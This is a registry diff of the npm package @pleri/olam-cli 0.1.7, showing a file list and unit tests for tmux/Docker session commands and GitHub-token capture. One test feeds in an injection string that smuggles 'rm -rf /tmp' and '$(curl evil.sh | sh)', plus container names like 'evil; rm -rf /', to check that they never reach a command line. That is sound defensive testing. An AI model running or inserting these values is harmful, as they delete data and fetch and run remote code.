@pleri/olam-cli 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (196) hide show
  1. package/dist/__tests__/auth-status.test.d.ts +2 -0
  2. package/dist/__tests__/auth-status.test.d.ts.map +1 -0
  3. package/dist/__tests__/auth-status.test.js +290 -0
  4. package/dist/__tests__/auth-status.test.js.map +1 -0
  5. package/dist/__tests__/auth-upgrade.test.d.ts +9 -0
  6. package/dist/__tests__/auth-upgrade.test.d.ts.map +1 -0
  7. package/dist/__tests__/auth-upgrade.test.js +161 -0
  8. package/dist/__tests__/auth-upgrade.test.js.map +1 -0
  9. package/dist/__tests__/create-app-urls.test.d.ts +2 -0
  10. package/dist/__tests__/create-app-urls.test.d.ts.map +1 -0
  11. package/dist/__tests__/create-app-urls.test.js +102 -0
  12. package/dist/__tests__/create-app-urls.test.js.map +1 -0
  13. package/dist/__tests__/enter.test.d.ts +2 -0
  14. package/dist/__tests__/enter.test.d.ts.map +1 -0
  15. package/dist/__tests__/enter.test.js +90 -0
  16. package/dist/__tests__/enter.test.js.map +1 -0
  17. package/dist/__tests__/host-cp-gh-token.test.d.ts +9 -0
  18. package/dist/__tests__/host-cp-gh-token.test.d.ts.map +1 -0
  19. package/dist/__tests__/host-cp-gh-token.test.js +119 -0
  20. package/dist/__tests__/host-cp-gh-token.test.js.map +1 -0
  21. package/dist/__tests__/host-cp.test.d.ts +9 -0
  22. package/dist/__tests__/host-cp.test.d.ts.map +1 -0
  23. package/dist/__tests__/host-cp.test.js +254 -0
  24. package/dist/__tests__/host-cp.test.js.map +1 -0
  25. package/dist/__tests__/keys.test.d.ts +9 -0
  26. package/dist/__tests__/keys.test.d.ts.map +1 -0
  27. package/dist/__tests__/keys.test.js +145 -0
  28. package/dist/__tests__/keys.test.js.map +1 -0
  29. package/dist/__tests__/logs.test.d.ts +9 -0
  30. package/dist/__tests__/logs.test.d.ts.map +1 -0
  31. package/dist/__tests__/logs.test.js +124 -0
  32. package/dist/__tests__/logs.test.js.map +1 -0
  33. package/dist/__tests__/ps.test.d.ts +2 -0
  34. package/dist/__tests__/ps.test.d.ts.map +1 -0
  35. package/dist/__tests__/ps.test.js +172 -0
  36. package/dist/__tests__/ps.test.js.map +1 -0
  37. package/dist/__tests__/status-app-urls.test.d.ts +2 -0
  38. package/dist/__tests__/status-app-urls.test.d.ts.map +1 -0
  39. package/dist/__tests__/status-app-urls.test.js +125 -0
  40. package/dist/__tests__/status-app-urls.test.js.map +1 -0
  41. package/dist/__tests__/upgrade.test.d.ts +9 -0
  42. package/dist/__tests__/upgrade.test.d.ts.map +1 -0
  43. package/dist/__tests__/upgrade.test.js +262 -0
  44. package/dist/__tests__/upgrade.test.js.map +1 -0
  45. package/dist/commands/__tests__/carry-uncommitted.test.d.ts +14 -0
  46. package/dist/commands/__tests__/carry-uncommitted.test.d.ts.map +1 -0
  47. package/dist/commands/__tests__/carry-uncommitted.test.js +83 -0
  48. package/dist/commands/__tests__/carry-uncommitted.test.js.map +1 -0
  49. package/dist/commands/__tests__/openHostCpUrl.test.d.ts +2 -0
  50. package/dist/commands/__tests__/openHostCpUrl.test.d.ts.map +1 -0
  51. package/dist/commands/__tests__/openHostCpUrl.test.js +63 -0
  52. package/dist/commands/__tests__/openHostCpUrl.test.js.map +1 -0
  53. package/dist/commands/__tests__/refresh.test.d.ts +13 -0
  54. package/dist/commands/__tests__/refresh.test.d.ts.map +1 -0
  55. package/dist/commands/__tests__/refresh.test.js +170 -0
  56. package/dist/commands/__tests__/refresh.test.js.map +1 -0
  57. package/dist/commands/auth-status.d.ts +43 -0
  58. package/dist/commands/auth-status.d.ts.map +1 -0
  59. package/dist/commands/auth-status.js +208 -0
  60. package/dist/commands/auth-status.js.map +1 -0
  61. package/dist/commands/auth-upgrade.d.ts +47 -0
  62. package/dist/commands/auth-upgrade.d.ts.map +1 -0
  63. package/dist/commands/auth-upgrade.js +277 -0
  64. package/dist/commands/auth-upgrade.js.map +1 -0
  65. package/dist/commands/auth.d.ts +16 -0
  66. package/dist/commands/auth.d.ts.map +1 -0
  67. package/dist/commands/auth.js +283 -0
  68. package/dist/commands/auth.js.map +1 -0
  69. package/dist/commands/create.d.ts +8 -0
  70. package/dist/commands/create.d.ts.map +1 -0
  71. package/dist/commands/create.js +512 -0
  72. package/dist/commands/create.js.map +1 -0
  73. package/dist/commands/crystallize.d.ts +8 -0
  74. package/dist/commands/crystallize.d.ts.map +1 -0
  75. package/dist/commands/crystallize.js +101 -0
  76. package/dist/commands/crystallize.js.map +1 -0
  77. package/dist/commands/destroy.d.ts +6 -0
  78. package/dist/commands/destroy.d.ts.map +1 -0
  79. package/dist/commands/destroy.js +54 -0
  80. package/dist/commands/destroy.js.map +1 -0
  81. package/dist/commands/dispatch.d.ts +9 -0
  82. package/dist/commands/dispatch.d.ts.map +1 -0
  83. package/dist/commands/dispatch.js +94 -0
  84. package/dist/commands/dispatch.js.map +1 -0
  85. package/dist/commands/enter.d.ts +63 -0
  86. package/dist/commands/enter.d.ts.map +1 -0
  87. package/dist/commands/enter.js +206 -0
  88. package/dist/commands/enter.js.map +1 -0
  89. package/dist/commands/host-cp.d.ts +191 -0
  90. package/dist/commands/host-cp.d.ts.map +1 -0
  91. package/dist/commands/host-cp.js +797 -0
  92. package/dist/commands/host-cp.js.map +1 -0
  93. package/dist/commands/init.d.ts +9 -0
  94. package/dist/commands/init.d.ts.map +1 -0
  95. package/dist/commands/init.js +143 -0
  96. package/dist/commands/init.js.map +1 -0
  97. package/dist/commands/install.d.ts +22 -0
  98. package/dist/commands/install.d.ts.map +1 -0
  99. package/dist/commands/install.js +203 -0
  100. package/dist/commands/install.js.map +1 -0
  101. package/dist/commands/keys.d.ts +26 -0
  102. package/dist/commands/keys.d.ts.map +1 -0
  103. package/dist/commands/keys.js +151 -0
  104. package/dist/commands/keys.js.map +1 -0
  105. package/dist/commands/lanes.d.ts +18 -0
  106. package/dist/commands/lanes.d.ts.map +1 -0
  107. package/dist/commands/lanes.js +122 -0
  108. package/dist/commands/lanes.js.map +1 -0
  109. package/dist/commands/list.d.ts +6 -0
  110. package/dist/commands/list.d.ts.map +1 -0
  111. package/dist/commands/list.js +39 -0
  112. package/dist/commands/list.js.map +1 -0
  113. package/dist/commands/logs.d.ts +38 -0
  114. package/dist/commands/logs.d.ts.map +1 -0
  115. package/dist/commands/logs.js +177 -0
  116. package/dist/commands/logs.js.map +1 -0
  117. package/dist/commands/observe.d.ts +9 -0
  118. package/dist/commands/observe.d.ts.map +1 -0
  119. package/dist/commands/observe.js +34 -0
  120. package/dist/commands/observe.js.map +1 -0
  121. package/dist/commands/policy-check.d.ts +14 -0
  122. package/dist/commands/policy-check.d.ts.map +1 -0
  123. package/dist/commands/policy-check.js +76 -0
  124. package/dist/commands/policy-check.js.map +1 -0
  125. package/dist/commands/pr.d.ts +17 -0
  126. package/dist/commands/pr.d.ts.map +1 -0
  127. package/dist/commands/pr.js +148 -0
  128. package/dist/commands/pr.js.map +1 -0
  129. package/dist/commands/ps.d.ts +25 -0
  130. package/dist/commands/ps.d.ts.map +1 -0
  131. package/dist/commands/ps.js +164 -0
  132. package/dist/commands/ps.js.map +1 -0
  133. package/dist/commands/refresh-helpers.d.ts +25 -0
  134. package/dist/commands/refresh-helpers.d.ts.map +1 -0
  135. package/dist/commands/refresh-helpers.js +56 -0
  136. package/dist/commands/refresh-helpers.js.map +1 -0
  137. package/dist/commands/refresh.d.ts +23 -0
  138. package/dist/commands/refresh.d.ts.map +1 -0
  139. package/dist/commands/refresh.js +237 -0
  140. package/dist/commands/refresh.js.map +1 -0
  141. package/dist/commands/status.d.ts +6 -0
  142. package/dist/commands/status.d.ts.map +1 -0
  143. package/dist/commands/status.js +51 -0
  144. package/dist/commands/status.js.map +1 -0
  145. package/dist/commands/upgrade.d.ts +67 -0
  146. package/dist/commands/upgrade.d.ts.map +1 -0
  147. package/dist/commands/upgrade.js +358 -0
  148. package/dist/commands/upgrade.js.map +1 -0
  149. package/dist/commands/workspace.d.ts +23 -0
  150. package/dist/commands/workspace.d.ts.map +1 -0
  151. package/dist/commands/workspace.js +198 -0
  152. package/dist/commands/workspace.js.map +1 -0
  153. package/dist/commands/world-snapshot.d.ts +18 -0
  154. package/dist/commands/world-snapshot.d.ts.map +1 -0
  155. package/dist/commands/world-snapshot.js +327 -0
  156. package/dist/commands/world-snapshot.js.map +1 -0
  157. package/dist/context.d.ts +26 -0
  158. package/dist/context.d.ts.map +1 -0
  159. package/dist/context.js +51 -0
  160. package/dist/context.js.map +1 -0
  161. package/dist/index.d.ts +9 -0
  162. package/dist/index.d.ts.map +1 -0
  163. package/dist/index.js +18007 -0
  164. package/dist/index.js.map +1 -0
  165. package/dist/mcp-server.js +32236 -0
  166. package/dist/output.d.ts +10 -0
  167. package/dist/output.d.ts.map +1 -0
  168. package/dist/output.js +31 -0
  169. package/dist/output.js.map +1 -0
  170. package/host-cp/compose.yaml +126 -0
  171. package/host-cp/src/auth-secret-hint.mjs +45 -0
  172. package/host-cp/src/auth.mjs +155 -0
  173. package/host-cp/src/compose-worlds-sources.mjs +170 -0
  174. package/host-cp/src/container-secret-fetcher.mjs +163 -0
  175. package/host-cp/src/docker-events.mjs +184 -0
  176. package/host-cp/src/local-worlds-source.mjs +83 -0
  177. package/host-cp/src/plan-orchestrator.mjs +829 -0
  178. package/host-cp/src/plan-progress.mjs +282 -0
  179. package/host-cp/src/pr-cache.mjs +201 -0
  180. package/host-cp/src/pr-merge-poller.mjs +154 -0
  181. package/host-cp/src/process-poller.mjs +250 -0
  182. package/host-cp/src/proxy.mjs +245 -0
  183. package/host-cp/src/pylon-worlds-source.mjs +68 -0
  184. package/host-cp/src/redact.mjs +67 -0
  185. package/host-cp/src/secret-cache.mjs +104 -0
  186. package/host-cp/src/server.mjs +2215 -0
  187. package/host-cp/src/sse-gate.mjs +117 -0
  188. package/host-cp/src/version-status.mjs +209 -0
  189. package/host-cp/src/workspace-catalog.mjs +149 -0
  190. package/host-cp/src/world-names-store.mjs +176 -0
  191. package/host-cp/src/world-pr-state.mjs +97 -0
  192. package/host-cp/src/world-progress.mjs +322 -0
  193. package/host-cp/src/world-tunnel-manager.mjs +288 -0
  194. package/host-cp/src/worlds-db-source.mjs +191 -0
  195. package/host-cp/src/worlds-source.mjs +59 -0
  196. package/package.json +38 -0
@@ -0,0 +1,90 @@
1
+ import { describe, expect, it } from 'vitest';
2
+ import { buildStartClaudeCommands } from '../commands/enter.js';
3
+ describe('buildStartClaudeCommands (Phase C/C4)', () => {
4
+ it('without --task, returns: open + ensure-window + attach (3 steps)', () => {
5
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', undefined);
6
+ expect(steps.length).toBe(3);
7
+ expect(steps[0].command).toContain('tmux new-session -A -d -s olam-w1');
8
+ expect(steps[0].command).toContain("-n claude 'claude'");
9
+ // Step 1b: idempotent claude-window ensure (CP3 ADV-C4-002 closure).
10
+ expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
11
+ expect(steps[1].command).toContain('|| true');
12
+ expect(steps[2].command).toContain('tmux attach -t olam-w1');
13
+ expect(steps.every((s) => s.stdin === undefined)).toBe(true);
14
+ });
15
+ it('with empty --task, treats as no-task (still 3 steps, no paste)', () => {
16
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', '');
17
+ expect(steps.length).toBe(3);
18
+ expect(steps.every((s) => s.stdin === undefined)).toBe(true);
19
+ expect(steps.every((s) => !s.command.includes('paste-buffer'))).toBe(true);
20
+ });
21
+ it('with --task, returns: open + ensure-window + load-buffer (stdin) + paste-buffer + attach (5 steps)', () => {
22
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'fix the bug');
23
+ expect(steps.length).toBe(5);
24
+ expect(steps[0].command).toContain('tmux new-session -A');
25
+ expect(steps[0].stdin).toBeUndefined();
26
+ expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
27
+ expect(steps[2].command).toContain('tmux load-buffer -');
28
+ expect(steps[2].command).toContain('docker exec -i container-x');
29
+ expect(steps[2].stdin).toBe('fix the bug');
30
+ expect(steps[3].command).toContain('tmux paste-buffer -t olam-w1:claude');
31
+ expect(steps[3].stdin).toBeUndefined();
32
+ expect(steps[4].command).toContain('tmux attach -t olam-w1');
33
+ });
34
+ it('rejects task containing NUL byte (CP3 ADV-C4-001 — paste-buffer truncation)', () => {
35
+ expect(() => buildStartClaudeCommands('container-x', 'olam-w1', 'before\0after')).toThrow(/NUL byte/);
36
+ });
37
+ it('SECURITY (T17): task with shell metacharacters rides via stdin, NEVER appears in any command argv', () => {
38
+ const evil = 'Fix bug; rm -rf /tmp; $(curl evil.sh | sh) `whoami`';
39
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', evil);
40
+ // The dangerous text MUST appear EXACTLY ONCE — in the stdin of the
41
+ // load-buffer step.
42
+ const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
43
+ expect(loadBuf).toBeDefined();
44
+ expect(loadBuf.stdin).toBe(evil);
45
+ // Every other step's command (and ALL command strings) MUST NOT contain
46
+ // any of the dangerous substrings — that would mean the task was
47
+ // interpolated into argv somewhere.
48
+ const dangerousFragments = [
49
+ 'rm -rf /tmp',
50
+ 'curl evil.sh',
51
+ '`whoami`',
52
+ '$(curl',
53
+ ];
54
+ for (const step of steps) {
55
+ for (const frag of dangerousFragments) {
56
+ expect(step.command).not.toContain(frag);
57
+ }
58
+ }
59
+ });
60
+ it('SECURITY: newline in task survives literally (no premature submission)', () => {
61
+ const multiline = 'first line\nsecond line';
62
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', multiline);
63
+ const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
64
+ expect(loadBuf.stdin).toBe(multiline);
65
+ // Literal newline preserved through stdin → load-buffer.
66
+ expect(loadBuf.stdin).toContain('\n');
67
+ });
68
+ it('rejects containerName with shell metacharacters (defensive guard)', () => {
69
+ expect(() => buildStartClaudeCommands('evil; rm -rf /', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
70
+ });
71
+ it('rejects sessionName with shell metacharacters (defensive guard)', () => {
72
+ expect(() => buildStartClaudeCommands('container-x', 'evil; rm /', undefined)).toThrow(/sessionName.*defensive guard/);
73
+ });
74
+ it('rejects empty containerName', () => {
75
+ expect(() => buildStartClaudeCommands('', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
76
+ });
77
+ it('handles long task text (>4KB) — paste buffer is byte-based, not arg-len-bounded', () => {
78
+ const long = 'A'.repeat(8192);
79
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', long);
80
+ const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
81
+ expect(loadBuf.stdin).toBe(long);
82
+ expect(loadBuf.stdin.length).toBe(8192);
83
+ });
84
+ it('command target uses session:window form for paste-buffer (avoids accidental window selection)', () => {
85
+ const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'hello');
86
+ const paste = steps.find((s) => s.command.includes('tmux paste-buffer'));
87
+ expect(paste.command).toContain('-t olam-w1:claude');
88
+ });
89
+ });
90
+ //# sourceMappingURL=enter.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"enter.test.js","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAE9C,OAAO,EAAE,wBAAwB,EAAE,MAAM,sBAAsB,CAAC;AAEhE,QAAQ,CAAC,uCAAuC,EAAE,GAAG,EAAE;IACrD,EAAE,CAAC,kEAAkE,EAAE,GAAG,EAAE;QAC1E,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,SAAS,CAAC,CAAC;QAC5E,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAC7B,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,mCAAmC,CAAC,CAAC;QACzE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,oBAAoB,CAAC,CAAC;QAC1D,qEAAqE;QACrE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,sCAAsC,CAAC,CAAC;QAC5E,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,SAAS,CAAC,CAAC;QAC/C,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,wBAAwB,CAAC,CAAC;QAC9D,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC/D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gEAAgE,EAAE,GAAG,EAAE;QACxE,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,EAAE,CAAC,CAAC;QACrE,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAC7B,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC7D,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC7E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oGAAoG,EAAE,GAAG,EAAE;QAC5G,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,aAAa,CAAC,CAAC;QAChF,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAE7B,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,qBAAqB,CAAC,CAAC;QAC3D,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,KAAK,CAAC,CAAC,aAAa,EAAE,CAAC;QAExC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,sCAAsC,CAAC,CAAC;QAE5E,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,oBAAoB,CAAC,CAAC;QAC1D,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,4BAA4B,CAAC,CAAC;QAClE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC;QAE5C,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,qCAAqC,CAAC,CAAC;QAC3E,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,KAAK,CAAC,CAAC,aAAa,EAAE,CAAC;QAExC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAE,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,wBAAwB,CAAC,CAAC;IAChE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6EAA6E,EAAE,GAAG,EAAE;QACrF,MAAM,CAAC,GAAG,EAAE,CACV,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,eAAe,CAAC,CACpE,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IACxB,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mGAAmG,EAAE,GAAG,EAAE;QAC3G,MAAM,IAAI,GAAG,qDAAqD,CAAC;QACnE,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;QAEvE,oEAAoE;QACpE,oBAAoB;QACpB,MAAM,OAAO,GAAG,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,kBAAkB,CAAC,CAAC,CAAC;QAC1E,MAAM,CAAC,OAAO,CAAC,CAAC,WAAW,EAAE,CAAC;QAC9B,MAAM,CAAC,OAAQ,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAElC,wEAAwE;QACxE,iEAAiE;QACjE,oCAAoC;QACpC,MAAM,kBAAkB,GAAG;YACzB,aAAa;YACb,cAAc;YACd,UAAU;YACV,QAAQ;SACT,CAAC;QACF,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;YACzB,KAAK,MAAM,IAAI,IAAI,kBAAkB,EAAE,CAAC;gBACtC,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,CAAC,CAAC;YAC3C,CAAC;QACH,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wEAAwE,EAAE,GAAG,EAAE;QAChF,MAAM,SAAS,GAAG,yBAAyB,CAAC;QAC5C,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,SAAS,CAAC,CAAC;QAC5E,MAAM,OAAO,GAAG,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,kBAAkB,CAAC,CAAC,CAAC;QAC1E,MAAM,CAAC,OAAQ,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;QACvC,yDAAyD;QACzD,MAAM,CAAC,OAAQ,CAAC,KAAK,CAAC,CAAC,SAAS,CAAC,IAAI,CAAC,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mEAAmE,EAAE,GAAG,EAAE;QAC3E,MAAM,CAAC,GAAG,EAAE,CACV,wBAAwB,CAAC,gBAAgB,EAAE,SAAS,EAAE,SAAS,CAAC,CACjE,CAAC,OAAO,CAAC,gCAAgC,CAAC,CAAC;IAC9C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iEAAiE,EAAE,GAAG,EAAE;QACzE,MAAM,CAAC,GAAG,EAAE,CACV,wBAAwB,CAAC,aAAa,EAAE,YAAY,EAAE,SAAS,CAAC,CACjE,CAAC,OAAO,CAAC,8BAA8B,CAAC,CAAC;IAC5C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6BAA6B,EAAE,GAAG,EAAE;QACrC,MAAM,CAAC,GAAG,EAAE,CAAC,wBAAwB,CAAC,EAAE,EAAE,SAAS,EAAE,SAAS,CAAC,CAAC,CAAC,OAAO,CACtE,gCAAgC,CACjC,CAAC;IACJ,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iFAAiF,EAAE,GAAG,EAAE;QACzF,MAAM,IAAI,GAAG,GAAG,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;QAC9B,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;QACvE,MAAM,OAAO,GAAG,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,kBAAkB,CAAC,CAAC,CAAC;QAC1E,MAAM,CAAC,OAAQ,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAClC,MAAM,CAAC,OAAQ,CAAC,KAAM,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC5C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,+FAA+F,EAAE,GAAG,EAAE;QACvG,MAAM,KAAK,GAAG,wBAAwB,CAAC,aAAa,EAAE,SAAS,EAAE,OAAO,CAAC,CAAC;QAC1E,MAAM,KAAK,GAAG,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,mBAAmB,CAAC,CAAC,CAAC;QACzE,MAAM,CAAC,KAAM,CAAC,OAAO,CAAC,CAAC,SAAS,CAAC,mBAAmB,CAAC,CAAC;IACxD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
@@ -0,0 +1,9 @@
1
+ /**
2
+ * Unit tests for captureGhToken and updated buildComposeEnv (GH_TOKEN injection).
3
+ *
4
+ * Isolated from host-cp.test.ts because these tests mock node:child_process
5
+ * (spawnSync) — the mock is file-scoped and would otherwise break the pure-
6
+ * function tests in the sibling file.
7
+ */
8
+ export {};
9
+ //# sourceMappingURL=host-cp-gh-token.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"host-cp-gh-token.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/host-cp-gh-token.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}
@@ -0,0 +1,119 @@
1
+ /**
2
+ * Unit tests for captureGhToken and updated buildComposeEnv (GH_TOKEN injection).
3
+ *
4
+ * Isolated from host-cp.test.ts because these tests mock node:child_process
5
+ * (spawnSync) — the mock is file-scoped and would otherwise break the pure-
6
+ * function tests in the sibling file.
7
+ */
8
+ import { describe, it, expect, vi, afterEach } from 'vitest';
9
+ // Mock external packages that don't exist in the test environment.
10
+ vi.mock('dockerode', () => ({ default: vi.fn() }));
11
+ vi.mock('@olam/adapters', () => ({
12
+ auditPortsForZombies: vi.fn(),
13
+ PortHeldByZombieError: class PortHeldByZombieError extends Error {
14
+ },
15
+ }));
16
+ vi.mock('@olam/core/src/util/open-url.js', () => ({ openUrl: vi.fn() }));
17
+ vi.mock('../context.js', () => ({ loadContext: vi.fn() }));
18
+ vi.mock('../output.js', () => ({
19
+ printError: vi.fn(),
20
+ printSuccess: vi.fn(),
21
+ printInfo: vi.fn(),
22
+ printHeader: vi.fn(),
23
+ printWarning: vi.fn(),
24
+ }));
25
+ // Mock node:child_process before importing the module under test so
26
+ // spawnSync is replaceable per-test.
27
+ const mockSpawnSync = vi.fn();
28
+ vi.mock('node:child_process', async (importOriginal) => {
29
+ const mod = await importOriginal();
30
+ return { ...mod, spawnSync: mockSpawnSync };
31
+ });
32
+ // Import AFTER the mocks are registered.
33
+ const { captureGhToken, buildComposeEnv } = await import('../commands/host-cp.js');
34
+ afterEach(() => {
35
+ vi.clearAllMocks();
36
+ });
37
+ // ── captureGhToken ────────────────────────────────────────────────
38
+ describe('captureGhToken', () => {
39
+ it('returns the token when gh auth token exits 0 with output', () => {
40
+ mockSpawnSync.mockReturnValue({
41
+ status: 0,
42
+ stdout: 'ghp_abc123\n',
43
+ stderr: '',
44
+ });
45
+ expect(captureGhToken()).toBe('ghp_abc123');
46
+ expect(mockSpawnSync).toHaveBeenCalledWith('gh', ['auth', 'token'], expect.objectContaining({
47
+ encoding: 'utf-8',
48
+ }));
49
+ });
50
+ it('returns null when gh auth token exits non-zero (not authenticated)', () => {
51
+ mockSpawnSync.mockReturnValue({
52
+ status: 1,
53
+ stdout: '',
54
+ stderr: 'not logged in\n',
55
+ });
56
+ expect(captureGhToken()).toBeNull();
57
+ });
58
+ it('returns null when gh exits 0 but stdout is empty (edge case)', () => {
59
+ mockSpawnSync.mockReturnValue({
60
+ status: 0,
61
+ stdout: '',
62
+ stderr: '',
63
+ });
64
+ expect(captureGhToken()).toBeNull();
65
+ });
66
+ it('returns null when gh exits 0 but stdout is only whitespace', () => {
67
+ mockSpawnSync.mockReturnValue({
68
+ status: 0,
69
+ stdout: ' \n',
70
+ stderr: '',
71
+ });
72
+ expect(captureGhToken()).toBeNull();
73
+ });
74
+ it('returns null when spawnSync throws (gh not installed)', () => {
75
+ mockSpawnSync.mockImplementation(() => {
76
+ throw new Error('spawn gh ENOENT');
77
+ });
78
+ expect(captureGhToken()).toBeNull();
79
+ });
80
+ it('strips trailing newline from token', () => {
81
+ mockSpawnSync.mockReturnValue({
82
+ status: 0,
83
+ stdout: 'ghs_token_value\n',
84
+ stderr: '',
85
+ });
86
+ expect(captureGhToken()).toBe('ghs_token_value');
87
+ });
88
+ });
89
+ // ── buildComposeEnv — GH_TOKEN extension ─────────────────────────
90
+ describe('buildComposeEnv with ghToken', () => {
91
+ it('includes GH_TOKEN when provided alongside auth secret', () => {
92
+ const env = buildComposeEnv('auth-secret-value', 'ghp_abc123');
93
+ expect(env).toEqual({
94
+ OLAM_AUTH_SECRET: 'auth-secret-value',
95
+ GH_TOKEN: 'ghp_abc123',
96
+ });
97
+ });
98
+ it('includes GH_TOKEN when auth secret is null', () => {
99
+ const env = buildComposeEnv(null, 'ghp_abc123');
100
+ expect(env).toEqual({ GH_TOKEN: 'ghp_abc123' });
101
+ });
102
+ it('omits GH_TOKEN when ghToken is null', () => {
103
+ const env = buildComposeEnv('auth-secret-value', null);
104
+ expect(env).toEqual({ OLAM_AUTH_SECRET: 'auth-secret-value' });
105
+ });
106
+ it('omits GH_TOKEN when ghToken is undefined (backward-compat)', () => {
107
+ const env = buildComposeEnv('auth-secret-value');
108
